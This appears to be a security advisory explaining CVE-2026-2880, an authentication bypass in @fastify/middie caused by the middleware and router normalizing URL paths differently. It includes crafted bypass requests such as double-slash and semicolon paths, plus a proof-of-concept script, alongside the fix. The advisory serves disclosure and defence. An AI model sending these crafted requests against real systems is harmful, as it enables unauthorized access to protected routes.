Feb 28, 2026·6 min read·2 visits
Attackers can bypass authentication middleware in Fastify applications using @fastify/middie < 9.2.0 by sending crafted URLs (e.g., //admin). The router normalizes the path and serves the resource, but the middleware engine fails to match the prefix, skipping security checks.
A high-severity authentication bypass vulnerability exists in @fastify/middie, the middleware engine for the Fastify web framework. The flaw stems from a discrepancy in URL path normalization between the middleware matching engine and Fastify's core router. By crafting malicious HTTP requests with specific path anomalies—such as duplicate slashes or semicolon delimiters—an attacker can bypass path-scoped middleware (e.g., authentication or validation layers) while still reaching the intended route handler. This effectively neutralizes security controls applied to specific route prefixes.
CVE-2026-2880 represents a critical breakdown in the request processing pipeline of Fastify applications utilizing the @fastify/middie plugin. This component provides Express-style middleware support for Fastify, allowing developers to mount logic (such as authentication checks, logging, or input sanitization) to specific path prefixes using app.use('/prefix', callback).
The vulnerability is a classic example of Canonicalization Drift (also known as Parser Differential). In modern web architectures, security decisions are often made by one component (the middleware engine) while routing decisions are made by another (the application router). If these two components view the same HTTP request path differently, security gaps emerge. Specifically, if the router normalizes a request path to match a route handler, but the middleware engine views the raw path and decides not to apply security controls, the protection is effectively bypassed.
This flaw specifically affects Fastify instances where standard router normalization options—such as ignoreDuplicateSlashes or ignoreTrailingSlash—are enabled. An attacker can exploit this by injecting characters that are stripped by the router but preserved by the middleware matcher.
The root cause of this vulnerability is the inconsistency between how Fastify's internal router (find-my-way) and @fastify/middie processed URL paths prior to version 9.2.0. Fastify allows developers to configure strict or loose routing behavior via routerOptions. Common configurations include:
ignoreDuplicateSlashes: Converts //path to /path.ignoreTrailingSlash: Treats /path/ and /path as identical.useSemicolonDelimiter: Truncates paths at semicolons for matrix parameter handling.When a request arrives, Fastify's router applies these normalization rules to determine which route handler to execute. However, @fastify/middie performed its prefix matching logic against the raw or insufficiently normalized req.url. Consequently, if a developer mounted authentication middleware at /admin, the middleware engine would strictly look for that string at the start of the URL.
If an attacker sends a request to //admin/settings (double slash), the middleware matcher compares /admin against //admin. The match fails, and the middleware calls next(), assuming the request is not destined for the protected scope. However, the Fastify router subsequently processes the request, collapses the double slashes to /admin/settings, and successfully locates the route handler. The request is processed without the authentication middleware ever executing.
The fix in version 9.2.0 involves synchronizing the normalization logic within the middleware engine to match the configuration of the parent Fastify instance. The patch ensures that if the router is configured to ignore duplicate slashes or trailing slashes, the middleware matcher applies the same transformations before checking the prefix.
Below is a reconstruction of the logic flow illustrating the vulnerability and the remediation:
In versions prior to 9.2.0, the matching logic relied on simple string comparisons or standard regex against the incoming request URL, ignoring the specific routerOptions set on the Fastify instance.
// Pseudo-code of vulnerable behavior
function runMiddleware(req, res) {
const url = req.url; // e.g., "//secret/data"
// Middleware mounted on "/secret"
const prefix = "/secret";
// VULNERABILITY: Strict string check fails on "//"
if (url.startsWith(prefix)) {
return authMiddleware(req, res);
}
// Middleware skipped, request proceeds to router
next();
}The patched version introduces a sanitization step that respects the router's configuration. It retrieves routerOptions and preemptively cleans the URL before attempting a match.
// Pseudo-code of fixed behavior
function runMiddleware(req, res) {
let url = req.url; // e.g., "//secret/data"
// FIX: Apply router normalization rules first
if (fastify.initialConfig.ignoreDuplicateSlashes) {
url = url.replace(/\/+/g, '/'); // Becomes "/secret/data"
}
if (fastify.initialConfig.ignoreTrailingSlash) {
// Remove trailing slash logic...
}
const prefix = "/secret";
// Match now succeeds: "/secret/data" starts with "/secret"
if (url.startsWith(prefix)) {
return authMiddleware(req, res);
}
next();
}This ensures that the middleware "sees" the same path that the router will eventually use for dispatching.
Exploiting this vulnerability requires no authentication and can be performed with standard HTTP tools (cURL, Burp Suite). The success of the exploit depends on the specific routerOptions enabled in the target Fastify application.
Double Slash Bypass
ignoreDuplicateSlashes: true (often default or common).app.use('/admin', auth)GET //admin/users HTTP/1.1//admin (mismatch). Router sees /admin/users (match). Access granted.Semicolon/Matrix Parameter Bypass
useSemicolonDelimiter: true.app.use('/api/v1', keyCheck)GET /api/v1;foo=bar/resource HTTP/1.1;, seeing /api/v1/resource. Access granted.The following script demonstrates the bypass against a vulnerable instance:
const Fastify = require('fastify');
const middie = require('@fastify/middie');
const app = Fastify({
// Vulnerability trigger: Router normalizes, middie < 9.2.0 does not
ignoreDuplicateSlashes: true
});
app.register(middie).then(() => {
// Security Middleware
app.use('/secret', (req, res, next) => {
res.statusCode = 403;
res.end('Blocked by Middleware');
});
// Protected Route
app.get('/secret/data', async () => {
return { sensitive: 'data' };
});
// EXPLOIT: "//secret" bypasses the middleware check
app.inject({
method: 'GET',
url: '//secret/data'
}).then(res => {
console.log(res.statusCode); // 200 (Bypass successful)
console.log(res.payload);
});
});The impact of CVE-2026-2880 is High because it directly undermines the primary mechanism used to secure routes in Fastify applications utilizing the middie plugin. Middleware is conventionally used for critical security functions:
A successful exploit bypasses all middleware defined for the target path. If an application relies solely on path-scoped middleware for authentication (e.g., app.use('/admin', requireAdmin)), an unauthenticated remote attacker can gain full administrative access to the underlying route handlers. The vulnerability does not require user interaction or prior privileges.
CVSS v4.0 Metric Analysis:
ignoreDuplicateSlashes), which are common but not universal.CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@fastify/middie Fastify | < 9.2.0 | 9.2.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-2880 |
| CVSS v4.0 | 8.2 (High) |
| CWE ID | CWE-20 (Improper Input Validation) |
| Attack Vector | Network |
| Exploit Status | PoC Available |
| Patch Status | Available (v9.2.0) |
Improper Input Validation